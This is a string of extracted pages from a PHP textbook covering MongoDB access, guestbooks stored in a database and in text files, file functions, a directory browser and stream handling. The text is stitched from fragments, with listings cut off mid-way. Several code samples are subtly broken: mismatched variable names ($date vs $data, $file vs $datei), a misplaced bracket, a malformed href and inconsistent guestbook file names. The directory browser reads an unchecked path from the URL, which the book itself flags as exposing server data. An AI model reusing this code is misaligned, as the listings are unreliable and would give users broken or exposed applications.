echo "<table><tr><th>name1</th><th>name2</th></tr>";
foreach ($result as $id => $row) {
printf("<tr><td>%s</td><td>%s</td></tr>",
htmlspecialchars($row["name1"]),
htmlspecialchars($row["name2"])
);
}
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
If you only want to access certain data, you must pass the corresponding search criteria
to the find() method. MongoDB supports a very powerful query language here. How-
ever, the simplest way to search is to pass an associative array with properties and the
desired values. The following query therefore searches for all data records that contain
the "Value1" value in the Name1 property and correspondingly "Value2" in Name2:
$db = $conn->PHP->my_table;
$result = $db->find(
["name1" => "value1", "name2" => "value2"]
);
<?php
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP->my_table;
$result = $db->find(
["name1" => "value1", "name2" => "value2"]
);
echo "<table><tr><th>name1</th><th>name2</th></tr>";
foreach ($result as $id => $row) {
printf("<tr><td>%s</td><td>%s</td></tr>",
htmlspecialchars($row["name1"]),
htmlspecialchars($row["name2"])
);
}
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
Note
If you only expect one data record to be returned by the query (or you only need the
first of all the documents returned), use findOne() instead of find(). The syntax
remains the same.
An important note at the end: If you want to use the ID of a document as a search crite-
rion, you must be careful. As you can see in Figure 24.6, there is an ID—not as a simple
string value, but as an object of type ObjectID. You must therefore also specify an Object-
ID instance when comparing criteria, including the complete namespace. The associated
property is called _id:
24.2.4 Refresh
To update an existing entry, MongoDB uses the updateOne() and updateMany() meth-
ods, depending on whether you only want to change one or several data records. As an
alternative to updateOne(), you can also use replaceOne(). This method replaces a com-
plete data record; updateOne() in turn could add additional fields without destroying
existing data.
The functions first expect search criteria such as find() and findOne() and then the new
documents that are to be used in place of those found. The syntax is somewhat special:
the $set array key is used to specify the writing of values. MongoDB also offers a num-
ber of additional options here, such as special operators for the update. We will limit
ourselves in the following listing to simply inserting another data record.
<?php
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP->my_table;
$db->updateOne(
["name1" => "value1"], //Search criterion
["\$set" => ["name1" => "value3", "name2" => "value4"]] //New document
);
$result = $db->find();
echo "<table><tr><th>name1</th><th>name2</th></tr>";
foreach ($result as $id => $row) {
printf("<tr><td>%s</td><td>%s</td></tr>",
htmlspecialchars($row["name1"]),
htmlspecialchars($row["name2"])
);
}
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
24.2.5 Delete
Last but not least, data can also be deleted from the MongoDB database. After the pre-
vious explanations, the procedure is probably no longer a big surprise. The deleteOne()
method is responsible for removing one data record, while deleteMany() removes sev-
eral data records at once. A search criterion is again expected as a parameter. Listing
24.7 contains the complete code.
<?php
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP->my_table;
$db->deleteOne(
["name1" => "value3"] //search criterion
);
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
So that's the first insight into the PHP control of MongoDB. The online manual at http://
php.net/mongodb contains a complete and detailed API description.
<?php
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP;
$db->createCollection("guestbook");
echo "Database created.<br />";
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
$data = [
"headline" => utf8_encode($_POST["Heading"]),
"entry" => utf8_encode($_POST["Comment"]),
"author" => utf8_encode($_POST["Name"]),
"email" => utf8_encode($_POST["Email"]),
"date" => time()
];
$result = $db->insertOne($data);
After insertion, we can use the getInsertedId() method to determine the generated
autovalue. As previously explained, this is of the ObjectID type. However, the string
representation is the ID value itself, so we can append it to a URL as follows:
$id = $result->getInsertedId();
echo "Entry added.
<a href=\"gb-edit.php?id=$id\">Edit</a>";
<html>
<head>
<title>Guestvook</title>
</head>
<body>
<h1>Guestbook</h1>
2 On systems that rely completely on UTF-8, this step may not be necessary. In this case, you can
remove the call to utf8_encode()—as well as utf8_decode() in the following listing.
<?php
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP->guestbook;
$data = [
"heading" => utf8_encode($_POST["Heading"]),
"entry" => utf8_encode($_POST["Comment"]),
"author" => utf8_encode($_POST["Name"]),
"email" => utf8_encode($_POST["Email"]),
"date" => time()
];
$result = $db->insertOne($data);
$id = $result->getInsertedId();
echo "Entry added.
<a href=\"gb-edit.php?id=$id\">Edit</a>";
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
}
?>
<form method="post" action="">
Name <input type="text" name="Name" /><br />
Email address <input type="text" name="Email" /><br />
Heading <input type="text" name="Heading" /><br />
Comment
<textarea cols="70" rows="10" name="Comment"></textarea><br />
<input type="submit" name="Submit" value="Submit" />
</form>
</body>
</html>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP->guestbook;
$result = $db->find();
foreach ($result as $id => $row) {
printf("<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode(utf8_decode($row["email"])),
htmlspecialchars(utf8_decode($row["author"])),
htmlspecialchars(date("Y-m-d, H:i", $row["date"])),
htmlspecialchars(utf8_decode($row["heading"])),
nl2br(htmlspecialchars(utf8_decode($row["entry"])))
);
}
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
</body>
</html>
One important change compared to the other database systems presented in the book
is the validation of the ID. This is not purely numerical but consists of both letters and
digits. With ctype_alnum(), we can check whether only these characters are used.
The following listing shows the complete code for the deletion mask.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
require_once __DIR__ . "/vendor/autoload.php";
$row = $db->findOne(
["_id" => new MongoDB\BSON\ObjectID($_GET["id"])])
We also extend the input form so that the creation time is also supplied as part of the
form. This simplifies updating later because we can then compile the complete new
data record from form data:
// PHP
$Date = $row["date"];
<!-- HTML -->
<input type="hidden" name="Date" value="<?php
echo htmlspecialchars($Date);
?>" />
After sending the form, we create a new array, which then—using replaceOne()—
replaces the old data record:
$data = [
"heading" => utf8_encode($_POST["Heading"]),
"entry" => utf8_encode($_POST["Comment"]),
"author" => utf8_encode($_POST["Name"]),
"email" => utf8_encode($_POST["Email"]),
"date" => $_POST["Date"]
];
$db->replaceOne(["_id" => new MongoDB\BSON\ObjectID($_GET["id"])], $data);
And that's it! Listing 24.12 contains the complete coherent code.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
$Name = "";
$Email = "";
$Heading = "";
$Comment = "";
$Date = "";
if (isset($_GET["id"]) &&
ctype_alnum($_GET["id"])) {
require_once __DIR__ . "/vendor/autoload.php";
try {
$conn = new MongoDB\Client();
$db = $conn->PHP->guestbook;
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
$date = [
"heading" => utf8_encode($_POST["Heading"]),
"entry" => utf8_encode($_POST["Comment"]),
"author" => utf8_encode($_POST["Name"]),
"email" => utf8_encode($_POST["Email"]),
"date" => $_POST["Date"]
];
$db->replaceOne(["_id" =>
[new MongoDB\ObjectID($_GET["id"])], $data);
echo "<p>Entry updated.</p>
<p><a href\"gb-admin.php\">Back to overview</a>
</p>";
}
Controlling the database is even a little easier compared to the other systems pre-
sented because we don't have to worry about data types and table schemas. Of course,
this flexibility can also cause problems: If you mistype the name of the database, for
example, MongoDB does not complain but simply creates a new one. Such errors are
somewhat more difficult to detect than with relational systems. However, MongoDB is
definitely an exciting addition to our database toolbox—even in "real" projects.
24.4 Settings
Table 24.2 shows the setting option for MongoDB available in the php.ini configuration
file.
Working with files on the local file system still plays an important, but steadily decreas-
ing, role when working with PHP. The reason for this is that hosting packages with a
database are becoming increasingly affordable, and PHP also provides a really practical
database in the form of SQLite, which does not have to run in the background at a high
cost in terms of resources.1 The advantages of storing information in a database include
the fact that data can be retrieved quickly, that there is a sorting function, and that SQL
provides a standard for querying this data. Nevertheless, if you want to get things done
quickly (when programming), you should work with simple files. PHP offers the full
range: opening, reading, writing, and copying files back and forth. And don't forget: A
CMS that operates on a database also needs access to the local file system. The file func-
tionalities of PHP therefore should not be underestimated.
25.1 Preparations
Support for file operations is built into PHP, so no installations are required. However,
you should always make sure that the PHP process has read or even write access to the
desired files. Otherwise, you will receive error messages.
If you have stored your files with a web host and (S)FTP access is possible, you can use
chmod to adjust the rights to the files—but only ever assign as many rights as are neces-
sary, no more. On your own system, access rights are granted via the operating system.
Tip
In Windows in particular, inexplicable errors often occur when accessing files. The free
Filemon tool often helps here, available from www.sysinternals.com (a site that has now
been taken over by Microsoft). Filemon logs file accesses, including any errors that occur
(see Figure 25.1). Its successor, Process Monitor (same source), offers even more options.
You can quickly see which files PHP tried to access and whether it worked or not.
Figure 25.1 The File Monitor Helps with Troubleshooting when Accessing Files
There are also some practical settings in the php.ini PHP configuration file. You can
read more about this in Section 25.4.
File Modes
The first step is to open a file. To do this, use fopen(), where the f stands for file. Of
course, fopen() expects the file name as an absolute or relative path as a parameter. You
must also specify the file mode; this is the way in which the file is to be opened. The
selected file mode depends on the following factors:
쐍 Read or write access or both?
쐍 Should the file be created if it does not yet exist?
쐍 Should new data be added to the end of the file, or should existing data be overwrit-
ten?
For all five modes, you can add a plus symbol to the mode identifier in order to have
read and write access at the same time. Table 25.1 shows an overview of all 10 possible
modes.
Mode Read Access Write Access Attach Overwrite Warning for Existing File
a - + + - -
a+ + + + - -
r + - - - -
r+ + + - + -
w - + - + -
w+ + + - + -
c - + - + -
c+ + + - + -
x - + - + +
x+ + + - + +
The "Warning for Existing File" column means that fopen() returns a warning if the file
already exists. This is the main difference between the w and x file modes: In the latter
mode, PHP whines if the file already exists.
But that's not all. You can also add one of two further options to the 10 modes:
쐍 b opens the file in binary mode so that data is not converted to the local character
set. This is particularly recommended for binary files.2
쐍 t, on the other hand, converts files: Unix/Linux line endings (\n) are changed to Win-
dows line endings (\r\n).
The return value of fopen() is a so-called file handle,3 a numerical value that indicates
the file that has just been opened. You can then use this value for all other file opera-
tions, which now know (thanks to the handle) which file is meant.
The following first script creates a file and then closes it again (with fclose()).
<?php
if ($file = fopen("test.txt", "wb")) {
echo "File was created!";
fclose($file);
} else {
echo "File could not be created!";
}
?>
The reward for this effort is a test.txt file in the current directory. It is still 0 bytes in size,
but this will change. In any case, make sure to close a file with fclose(). PHP tries to do
this automatically at the end of the script, but you never know!
Write Data
To write data to an (open!) file, use the fwrite() function. The first parameter is the file
handle; the second parameter is the text. As a third parameter, you can optionally spec-
2 If the operating system can distinguish between text and binary files, PHP automatically uses the
correct mode. However, in the interests of portability, it is highly recommended to always use
mode b explicitly.
3 Or false if opening the file did not work.
ify a maximum length for how much data should be written. This may be interesting if
you want to accept and shorten data from an external source such as a database or
from the user. In any case, make sure that you have previously opened the file in a
mode with write access (i.e., not in r mode).
<?php
if ($file = fopen("test.txt", "wb")) {
if (fwrite($file, "All of life is a test\r\n") &&
fwrite($file, "and we are only the candidates.")) {
echo "File has been filled!";
} else {
echo "Error while writing!";
}
fclose($file);
} else {
echo "File could not be opened!";
}
?>
The return value of fwrite() is the number of bytes written—or false if writing was not
possible. This is shown in the code from Listing 25.2. Figure 25.2 shows the new content
of the file.
You can specify a few more options as the third parameter for file_put_contents();
for instance, the FILE_APPEND constant, which opens a file in append mode:
<?php
file_put_contents("test.txt",
"and we are only the candidates",
FILE_APPEND);
?>
The result is again a test.txt file with the same content as before. There is also the
LOCK_EX constant, which is used to request an exclusive lock for the file.
<?php
$all = file_get_contents("test.txt");
echo "<pre>" . htmlspecialchars($all) . "</pre>";
?>
And it can be even faster: fpassthru() sends all data of the specified file handle to the
client. Then you even save yourself the echo statement, but (unlike in the example) you
cannot perform encoding using htmlspecialchars().
The old access method, which works on a line-by-line basis, still works. This is useful, for
example, when evaluating a log file: you read each line—which corresponds to a log
entry—and process it. The corresponding function is fgets(). However, there is a small
peculiarity here: you must specify the maximum number of characters you want to
read. If there is more data in the line than you have specified, you will not get the com-
plete line back. You therefore need to know exactly what the file to be read looks like. A
good value for the length is 4,096 bytes—that is, 4 KB. The pointer to the file, accessible
in PHP via the file handle, is moved forward to the next unread character after the read
operation. However, reading ends at the end of the line or file, so you never get more
than one line.
The only information you still need is how to determine the end of the file. This can be
done with feof(), where eof stands for end of file.
<pre>
<?php
$file = fopen("test.txt", "rb");
while (!feof($file)) {
$line = fgets($file, 4096);
echo htmlspecialchars($line);
}
fclose($datei);
?>
</pre>
End of Line
Note that the string read by fgets() contains the end of the line, if present. If you are
only interested in the actual line content, but not in \r\n, you may have to remove the
last character (if necessary; the last line does not necessarily end with a line break).
Further Possibilities
Of course, there are many other ways to access information in a file, but in practice
they are not very common. With fgetc(), you get the next character of the specified
file. This means that you can literally output its contents piece by piece.
It is also possible to navigate within an open file. With fseek(), you move the file
pointer to the specified position (counting in bytes from the start of the file). With
fseek($file, 0), you jump back to the beginning of the file, for which the
rewind($file) alias is also available. You can get the current position of the file pointer
with ftell($file). One final warning: If you open a file in a or a+ mode, the data is
always appended to the end of the file, even if you call rewind() or fseek() beforehand.
As always, the PHP online manual provides further information on all the functions
presented and much more.
File Information
First, there are various help functions that reveal information about a file. Before work-
ing with a file (in the example, test.txt), you are probably interested in several things:
쐍 Does the file already exist?
쐍 If so, can I write in the file?
쐍 Who owns the file, and is it even a file (or is it a directory)?
Function Description
is_dir() Is it a directory?
is_file() Is it a file?
is_link() Is it a link?
The following listing determines this information for the previously created file test.txt
file; Figure 25.4 shows its output.
<?php
vprintf("<table><tr><th>Function</th><th>Value</th></tr>
<tr><td><code>file_exists()</code></td><td>%s</td></tr>
<tr><td><code>is_dir()</code></td><td>%s</td></tr>
<tr><td><code>is_executable()</code></td><td>%s</td></tr>
<tr><td><code>is_file()</code></td><td>%s</td></tr>
<tr><td><code>is_link()</code></td><td>%s</td></tr>
<tr><td><code>is_readable()</code></td><td>%s</td></tr>
<tr><td><code>is_uploaded_file()</code></td><td>%s</td></tr>
<tr><td><code>is_writable()</code></td><td>%s</td></tr></table>",
[
var_export(file_exists("test.txt"), true),
var_export(is_dir("test.txt"), true),
var_export(is_executable("test.txt"), true),
var_export(is_file("test.txt"), true),
var_export(is_link("test.txt"), true),
var_export(is_readable("test.txt"), true),
var_export(is_uploaded_file("test.txt"), true),
var_export(is_writable("test.txt"), true)
]
);
?>
Tip
In Listing 25.5, we used the var_export() function. This behaves like var_dump(), but as
the second parameter you can specify whether the information about the specified
variable should be output (false; default) or returned (true). In any case, it is necessary
to call var_dump() or var_export() as simply outputting the return values of the file
functions would result in a 1 if true and an empty string if false.
File Operations
The author of these lines once wrote an article for a PHP trade journal. The editor-in-
chief sent an article on a related topic that had already appeared there in advance to
avoid duplication. Here is an excerpt from it (slightly altered, of course):
This is more than awkward. The system() function executes a command at the operat-
ing system level, which is not only costly in terms of performance but also harbors
potential security risks. In this case, it is even more inappropriate as simply copying a
file does not require an operating system command—and certainly not one that is
operating system–dependent, as in this case. The platform independence of PHP is thus
trampled underfoot. Furthermore: PHP offers everything you need to work with files.
The commands that you are familiar with from the command line—mkdir, cp or COPY, rm
or DEL—are all also possible in PHP. Table 25.3 shows an overview.
System Operations
Instead of system(), you can also use exec(); this function does not output anything
but executes a command at the operating system level as usual. There are two equiva-
lent options for querying the return value of such an operation:
1. Use the backtick operator to specify the command:
$directory = `pwd`;
2. Use shell_exec():
$directory = shell_exec("pwd");
Again, make sure that the command that is executed is operating system–independent
(in the example, it is not!).
class with a directory name and can then, for example, use read() to determine the
next directory entry and output it, as shown in the next listing and in Figure 25.5.
<?php
$d = dir(".");
while (($entry = $d->read()) !== false) {
echo htmlspecialchars($entry) . "<br />";
}
$d->close();
?>
<?php
$d = opendir(".");
while (($entry = readdir($d)) !== false) {
echo htmlspecialchars($entry) . "<br />";
}
closedir($d);
?>
Listing 25.7 Determine All Files in the Current Directory in an Alternative Way
("dir-alternative.php")
With the dirname() PHP function, you will then receive the directory. Instead of $d =
dir("."), you can also use the following to start in the current directory:
$d = dir(dirname(__FILE__));
You can obtain the name of the current directory even more briefly using the __DIR__
constant. PHP also offers a function that converts a virtual path (i.e., a web server path
such as /php/dir.php) into an absolute path (such as /usr/httpd/htdocs/php/dir.php):
realpath(). It should be noted that the path or file must exist; otherwise, no conver-
sion can be performed and realpath() returns false.
25.3.1 Guestbook
A guestbook is a welcome opportunity on mainly private websites to leave messages
for the webmaster and to exchange information with each other. This is particularly
easy to implement with a database—so easy, in fact, that the entire database section of
this book (see Part IV) contains a complete guestbook example. But it can also be real-
ized with files, although not quite as conveniently.
The aim is clear: A user should be able to enter messages in a guestbook. The guestbook
data is stored in a text file. To make it as easy as possible to read out later, we use the
serialization technique, which can convert objects into strings (and convert them back
again). We first store all the data of an entry in an associative array:
The highlight: This data is converted into a string with serialize(). But this can still
contain line breaks, which makes it difficult to read out later. The problem is this:
Where does an entry start and where does it end? But there is also a solution: base64_
encode() performs a Base64 encoding of the data, just as an email program does, for
example. This eliminates all line breaks, but the data is illegible (for a human):
$data = base64_encode(serialize($data));
That’s basically it. The listing still contains some security queries, such as whether the
guestbook file already exists (if not, it will be created). The previous content of the
guestbook is then read in:
$olddata = file_get_contents("uestbook.txt");
When writing to the file, the new entry and then all old entries are written back:
file_put_contents("gaestebuch.txt", "$data\r\n$olddata");
The reason: In a guestbook, it makes sense to show the most recent entry first. If you
had now opened the guestbook file with the file mode "from", you would only be able
to append data at the end, so the most recent entry would also be at the very end of the
output (unless you put in a little more effort).
The following listing shows the complete script.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
$data = ["heading" => $_POST["Heading"], "entry" => $_POST["Comment"],
"author" => $_POST["Name"],
Figure 25.7 shows the mask with which users can leave their comments in the guest-
book; Figure 25.8 shows the text file that is then created.
Figure 25.8 The Resulting Text File (Is All One Line)
Lock Files
If you first read from a file and then write to it again, it makes sense to lock the file for
other accesses; otherwise, two parallel accesses to the guestbook could cause trouble.
Imagine that A and B enter something in the guestbook at the same time. The operat-
ing system performs the required accesses to guestbook.txt in the following order:
쐍 Reading in the guestbook for A
쐍 Reading in the guestbook for B
쐍 Writing in the guestbook for A
쐍 Writing in the guestbook for B
The result: A's entry is lost, because when B read the guestbook, A's entry was not yet
there. For this reason, it makes sense to lock the guestbook. This is not supported by
every operating and file system (especially not by the old FAT file system from Micro-
soft), but otherwise it works quite well. With flock(), you create a lock and release it
again. However, you must then open the file using fopen():
$file = fopen("guestbook.txt", "w+");
flock($file, LOCK_EX);
//Read out data
...
//Write data back
...
flock($file, LOCK_UN);
Reading and outputting the guestbook data is not difficult either. You could read in the
file line by line, but with huge guestbook entries you would eventually reach the limit
that you specified as the second parameter for fgets(). For this reason, it is better to
read in the complete guestbook with file_get_contents() and then split it into its indi-
vidual lines:
$data = file_get_contents("guestbook.txt");
$data = explode("\r\n", $data);
Tip
Alternatively, you can also use file(), which returns the same array, but all array
entries still have the line jumps at the end.
This means that $data now contains an array of individual entries. These can be trans-
formed back into their original form, an associative array, using base64_decode() and
unserialize(). The last step is to output this data in formatted form. The following list-
ing shows the complete code; Figure 25.9 shows the output.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (file_exists("guestbook.txt") &&
is_readable("guestbook.txt")) {
$data = file_get_contents("guestbook.txt");
$data = explode("\r\n", $data);
for ($i = 0; $i < count($data); $i++) {
$entry = unserialize(base64_decode($data[$i]));
if (is_array($entry)) {
printf("<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode($entry["email"]),
htmlspecialchars($entry["author"]),
htmlspecialchars($entry["date"]),
htmlspecialchars($entry["heading"]),
nl2br(htmlspecialchars($entry["entry"]))
);
}
}
}
?>
</body>
</html>
For all entries that are folders (you determine this with is_dir()) you create a link to
the current script, and pass the folder name as a parameter:
<?php
$script = htmlspecialchars($_SERVER["PHP_SELF"]);
$directory = $_GET["d"] ?? ".";
echo "<h1>" . htmlspecialchars(realpath($directory)) . "</h1>";
$d = opendir($directory);
while (($entry = readdir($d)) !== false) {
if (is_dir("$directory/$entry")) {
echo "<a href=\"$script?d=" .
urlencode("$directory/$entry") .
"\">" . htmlspecialchars("$entry/") . "</a><br />";
} else {
echo htmlspecialchars($entry) . "<br />";
}
}
closedir($d);
?>
You can see a special feature in the heading. If you navigate a little with the file browser,
the path specified in the URL becomes longer and longer as file names are not resolved
correctly there (this resolution is also called canonicalization). At some point, $directory
will have a value like ./folder1/../folder2/.., which could also be written much
shorter with .. PHP does not provide a function that does this, but it is at least able to
convert a relative path into an absolute one, as you have seen before: with realpath().
This also performs canonicalization:
Examine the following complete listing; its output follows in Figure 25.10.
<?php
$script = htmlspecialchars($_SERVER["PHP_SELF"]);
$directory = $_GET["d"] ?? ".";
echo "<h1>" . htmlspecialchars(realpath($directory)) . "</h1>";
$d = opendir($directory);
while (($entry = readdir($d)) !== false) {
if (is_dir("$directory/$entry"))
{
echo "<a href=\"$script?d=" .
urlencode("$directory/$entry") .
"\">" . htmlspecialchars("$entry/") . "</a><br />";
} else {
echo htmlspecialchars($entry) . "<br />";
}
}
closedir($d);
?>
The file browser does not contain any error checks, so you may receive a message that
you do not have sufficient rights to view the directory content. This is a good test to see
how well your provider has secured its web server. You should also consider using
realpath() on the path itself as the URL length is known to be limited.
An obvious extension, which is also not implemented, is the display of a file. However,
this is relatively simple: first check with is_file() whether an entry is a file and then
with is_readable() whether read access would be possible. If both functions return
true, then you can link the file name to a second script in which only a file name passed
via URL is output with the help of file_get_contents().
Note
This script is only suitable for internal use; under no circumstances should you give
external parties access to the script as otherwise all data on your web server may be
exposed. You should therefore ensure that the script is sufficiently secure—for exam-
ple, using the techniques shown in Chapter 33.
25.4 Settings
The php.ini configuration file contains the options for file operations listed in Table
25.4.
PHP is known to be very sociable with other technologies; it is also easy to establish a
connection to another computer with PHP. There are established protocols for this on
the web, such as (S)FTP and HTTP(S), and PHP supports them all.
There is now a particularly convenient way of communicating with other computers:
Accessing files works in exactly the same way as you saw in the previous chapter. How-
ever, there are still specific functions for special applications, which will also be intro-
duced briefly in this chapter.
Especially when communicating with other computers, there are many smaller and
larger peculiarities; Unix/Linux in particular offers special techniques here, but Win-
dows also has its own (proprietary) ways. We have deliberately chosen in this chapter to
concentrate on the most important operating system–independent techniques.
26.1 Preparations
Most of the examples in this chapter work without prior installation. Access to external
computers is integrated into PHP because, as already mentioned, the familiar file func-
tions are used for this purpose.
If you want to use SSL or SFTP connections, you must compile PHP with OpenSSL on
Unix/Linux. Windows users can save themselves this step; it’s already done in the offi-
cial binaries. However, it is necessary to specify the extension=php_openssl.dll direc-
tive or its short form, extension=openssl, in php.ini.
Note
Chapter 27 shows further (and standardized) options for exchanging messages with
another computer: through web services and more.
26.2.1 Streams
Streams are an essential concept in the processing of files, whether remote or local. A
stream is a data stream—that is, a flow of data that can be processed with PHP. The spe-
cial feature here is that PHP supports different variants of streams via a standardized
interface. This is roughly comparable to DSN in the database area (see also Chapter 18):
You have certain functions to access a data source that work with all data sources, and
you use the DSN syntax to specify the type of data source you are using.
It is the same with streams: You specify a stream in a certain syntax and then work with
it in a similar way as with files. This can be nicely illustrated using fopen() as a good
example: Up to now, you have always specified a file name as a parameter, such as
"test.txt". In stream notation, you have to write the protocol to be used in front of it—
as with a URL. For files, it is called file://. To open a file, use the following:
This was not necessary in the previous chapter because file:// is the standard protocol
for PHP's stream functions. You can therefore omit it. However, there is a whole range
of other protocols that are listed in Table 26.1.
Stream Description
Stream Description
Note
Although the table is almost complete with regard to the stream types (exotics such as
tls://, unix://, and udp:// were not specifically listed), not all variants were specified.
For example, it is also possible to specify a user name and password for HTTP and
HTTPS requests; this can be done directly in the stream.
File streams have already been dealt with exhaustively in the last chapter, even if the
term stream did not appear there. The rest of this section therefore deals with the other
possible streams, which are always presented with brief examples.
Tip
The output of the homepage is even faster (and without a while loop) if you use file_
get_contents(). This function also supports streams.
If you have a file handle, you can display metadata about the stream. Depending on the
stream type, this may be different information. The stream_get_meta_data() function
returns all this data as an array (see Figure 26.2). Let's take a look at this when the PHP
homepage is read in (again) in the following listing.
<?php
$file = fopen("https://www.php.net/", "r");
echo "<pre>";
echo htmlspecialchars(
print_r(stream_get_meta_data($file), true)
);
echo "</pre>";
fclose($file);
?>
Another important term in connection with streams is context. You can specify addi-
tional options in many file functions depending on the context (i.e., the stream used)
in many file functions. To create a context, you need the stream_context_create() func-
tion. You pass an array as a parameter; its key is the stream type (here, "http"), and its
value is another array with all options:
$context = stream_context_create(
["http" =>
[
"method" => "POST",
"header" => "Content-type: application/x-www-form-urlencoded",
"content" => "search_string=HTTP&search_in=packages"
]
]
);
Under content, you can see the POST data. To find a nice example, we have analyzed the
homepage of PECL (https://pecl.php.net). At the top, there is a form to search the web-
site. Here you can see the corresponding (somewhat shortened and simplified)
markup:
The key points—namely, the names (and in some cases values) of the form fields and
the form's send destination—are highlighted in bold. The data for a POST request can
be determined from this:
쐍 The search term is in the search_string field.
쐍 To search the PECL package list, you need the search_in=packages value.
쐍 The target of the form is /search.php on pecl.php.net.
This completes the POST example: The search is executed and the result is output.
When we search the packages, a redirect to the corresponding search URL (package-
search.php) is automatically performed. The file_get_contents() function supports
redirects, so you get the final page at the end (see Figure 26.3).1
1 Attention: In some versions of PHP, you will receive an inexplicable HTTP 404 error message.
You can also send the same request "manually" by setting up the HTTP request your-
self. To do this, you must open a socket connection to the web server and then enter all
the necessary data yourself. The relevant function for this is fsockopen(). It provides
you with a handle for the socket connection. You need five parameters (although we
use named parameters in the example for reasons of readability, despite adhering to
the correct order):
1. The stream name (in the example, tcp://)
2. The port number (usually 80 for HTTP, 443 for HTTPS)
3. A return variable with the error number
4. A return variable with the error message
5. The timeout in seconds
Then you can use fwrite() to send data to the socket and read the return with fgets()
to read the return. Examine the following complete listing.
<?php
$socket = fsockopen(
hostname: "tcp://pecl.php.net",
port: 80,
error_code: $errorcode,
error_message: $errormsg,
timeout: 30
);
$data = "search_string=HTTP&search_in=packages<";
fwrite($socket, "POST /search.php HTTP/1.1\r\n");
fwrite($socket, "Host: pecl.php.net\r\n");
fwrite($socket, "Accept: */*\r\n");
fwrite($socket, "Content-length: " . strlen($data) . "\r\n");
fwrite($socket, "Content-type: application/x-www-form-urlencoded\r\n");
fwrite($socket, "\r\n$data\r\n\r\n");
while (!feof($socket)) {
echo htmlspecialchars(fgets($socket, 4096));
}
fclose($socket);
?>
</pre>
As shown in Figure 26.4, the POST request was successful. However, the return value is
HTTP code 302, which stands for "found, but not the actual target page." You can see the
reason for this in the Location HTTP header: a redirect to http://pecl.php.net/package-
results.php?pkg_name=HTTP is being carried out.
Note
It is of course possible that the PECL website will be changed at any time. There is
therefore no guarantee that the code will continue to work in exactly the same way in
the future.
FTP Streams
With FTP streams of the type ftp://user:[email protected]/path/file or ftps://
user:[email protected]/path/file, you can work with files on FTP servers in the
same way as with conventional files (see previous chapter). If you use the file mode
"rb" for fopen(), you can download files from FTP servers; with "wb" or "xb", you can
create files. And there is another option: You can attach data to FTP files—that is, also
use the "ab" mode.
<pre>
<?php
echo htmlspecialchars(
file_get_contents(
"php://filter/read=string.toupper/resource=test.txt"
)
);
?>
</pre>
Figure 26.5 shows the result: string.toupper converts the stream data into uppercase
letters.
We could have used the Base64 filter in particular in the previous chapter when saving
the guestbook data.
Of course, these are only very limited options. Fortunately, PHP offers the option of
defining your own streams. To do this, you need your own class, which you derive from
php_user_filter derive. There must be a filter() method in which you process the
data. The return type of that method must be set to int to avoid a depreciation warning
The procedure within the method is always the same, so you will proceed by copy-and-
paste (this example was also created in this way). The crucial line (and the one in which
you always make changes) is the one in which you modify $bucket->data. This property
always contains the currently viewed data; it is also writeable. Here you can see a class
in which all data is processed with htmlspecialchars():
2 Each alphabetical character from a to z and A to Z is replaced by the character whose ASCII code is 13
characters away from the original character.
With stream_filter_register(), you can register the class with the system under a
name of your choice:
stream_filter_register(
"string.htmlspecial",
"htmlspecialchars_filter"
);
The stream_get_filters() function can be used to check whether the filter has actually
been registered with the system. Then you can also use the filter. The following stream
name opens the test.txt file, converts the content to uppercase, and converts HTML
special characters; you can see the output in Figure 26.6:
php://filter/read=string.toupper|string.htmlspecial/resource=test.txt
<?php
class htmlspecialchars_filter extends php_user_filter {
function filter($in, $out, &$consumed, $closing): int
{
while ($bucket = stream_bucket_make_writeable($in)) {
$bucket->data = htmlspecialchars($bucket->data);
$consumed += $bucket->datalen;
stream_bucket_append($out, $bucket);
}
return PSFS_PASS_ON;
}
}
stream_filter_register(
"string.htmlspecial",
"htmlspecialchars_filter"
);
echo "<h1>Filter</h1><pre>";
echo htmlspecialchars(print_r(stream_get_filters(), true));
echo "</pre><h1>Result</h1><pre>";
echo file_get_contents(
"php://filter/read=string.toupper|string.htmlspecial/resource=test.txt"
);
echo "</pre>";
?>
Note
With stream_filter_append(), you can also append a filter to a stream using a func-
tion—with stream_filter_prepend(), even to the beginning of the filter list.
<?php
if (@file_put_contents(
"compress.zlib://test.gz",
file_get_contents("test.txt")
)
) {
echo "GZ file written.<br />";
} else {
echo "Error writing the GZ file.<br />";
}
if (@file_put_contents(
